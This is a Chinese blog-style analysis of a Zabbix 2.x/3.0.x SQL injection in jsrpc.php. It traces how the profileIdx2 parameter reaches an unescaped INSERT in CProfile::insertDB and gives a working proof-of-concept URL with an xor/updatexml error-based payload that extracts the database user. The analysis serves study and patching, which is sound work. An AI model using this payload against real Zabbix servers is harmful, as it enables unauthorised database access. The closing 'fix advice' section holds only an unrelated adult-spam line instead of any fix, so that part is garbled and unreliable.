Zabbix SQL注入漏洞分析 2016-08-22

zabbix sql注入漏洞爆出來已有好幾天了,最近忙于安全盒子用戶中心的設計,一直沒有去研究這個注入,今天早起,閑暇時間寫下該文。

zabbix簡介

zabbix是一個基于WEB界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。能監視各種網絡參數,保證服務器系統的安全運營;并提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。

影響版本

2.0.x
3.0.x

我這里的分析的版本是3.0.3,據說3.0.4已修復該漏洞。

漏洞分析

jsrpc.php中從url中獲取了type,并且把$_REQUEST賦值給了$data,相關代碼(第24行開始):

$requestType = getRequest('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHttpRequest();
    $json = new CJson();
    $data = $json->decode($http_request->body(), true);
}
else {
    $data = $_REQUEST;
}

隨后40行有一些條件,不滿足就會exit,但是很好繞過,代碼如下:

if (!is_array($data) || !isset($data['method'])
        || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
    fatal_error('Wrong RPC call to JS RPC!');
}

再往下是一個傳入$data['method']的switch語句,部分代碼如下(第46行開始):

switch ($data['method']) {
    case 'host.get':
        $result = API::Host()->get([
            'startSearch' => true,
            'search' => $data['params']['search'],
            'output' => ['hostid', 'host', 'name'],
            'sortfield' => 'name',
            'limit' => 15
        ]);
        break;

    case 'message.mute':
        $msgsettings = getMessageSettings();
        $msgsettings['sounds.mute'] = 1;
        updateMessageSettings($msgsettings);
        break;

    case 'message.unmute':
        $msgsettings = getMessageSettings();
        $msgsettings['sounds.mute'] = 0;
        updateMessageSettings($msgsettings);
        break;

    case 'message.settings':
        $result = getMessageSettings();
        break;

第181行傳入CScreenBuilder::getScreen($data);,代碼如下:

case 'screen.get':
    $result = '';
    $screenBase = CScreenBuilder::getScreen($data);
    if ($screenBase !== null) {
        $screen = $screenBase->get();

        if ($data['mode'] == SCREEN_MODE_JS) {
            $result = $screen;
        }
        else {
            if (is_object($screen)) {
                $result = $screen->toString();
            }
        }
    }
    break;

跟進查看,發現CScreenBuilder的構造函數從url中接收了profileIdx2賦值給$this->profileIdx2并且帶入CScreenBase::calculateTime執行,代碼如下:

// calculate time
$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

$this->timeline = CScreenBase::calculateTime([
    'profileIdx' => $this->profileIdx,
    'profileIdx2' => $this->profileIdx2,
    'updateProfile' => $this->updateProfile,
    'period' => !empty($options['period']) ? $options['period'] : null,
    'stime' => !empty($options['stime']) ? $options['stime'] : null
]);

跟進calculateTime函數,461行對CProfile進行了更新,但是并沒有進行SQL查詢:

if ($options['updateProfile'] && !empty($options['profileIdx'])) {
    CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
}

然而最終造成SQL注入的是最后一行:

require_once dirname(__FILE__).'/include/page_footer.php';

這個文件里第38行對CProfile進行了更新,代碼如下:

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

跟進CProfile::flush(),把數據進行了遍歷然后帶入self::insertDB()

public static function flush() {
    $result = false;

    if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
        $result = true;

        foreach (self::$insert as $idx => $profile) {
            foreach ($profile as $idx2 => $data) {
                $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
            }
        }

        ksort(self::$update);
        foreach (self::$update as $idx => $profile) {
            ksort($profile);
            foreach ($profile as $idx2 => $data) {
                $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
            }
        }
    }

    return $result;
}

跟進self::insertDB()即可看到$idx2沒有過濾帶入SQL查詢:

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

最后的DBexecute()里面也只是調用了mysqli_query執行sql而已。

至此,SQL注入形成。

然后構造語句,滿足各種條件,讓程序按照邏輯進入該出,即可注入:

http://localhost:8080/jsrpc.php?sid=111&type=3&method=screen.get&timestamp=111&mode=111&screenid=&groupid=&hostid=0&pageFile=111&profileIdx=web.item.graph&profileIdx2=1%20xor(select%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1))&updateProfile=true&screenitemid=&period=1&stime=1&resourcetype=17&itemids=1&action=1&filter=&filter_task=&mark_color=1

注入效果如圖:

2567646603

這里是insert注入,而且沒有單引號,直接使用xor()在里面用任意報錯注入語句即可注入。

修復建議

一级A片不卡在线观看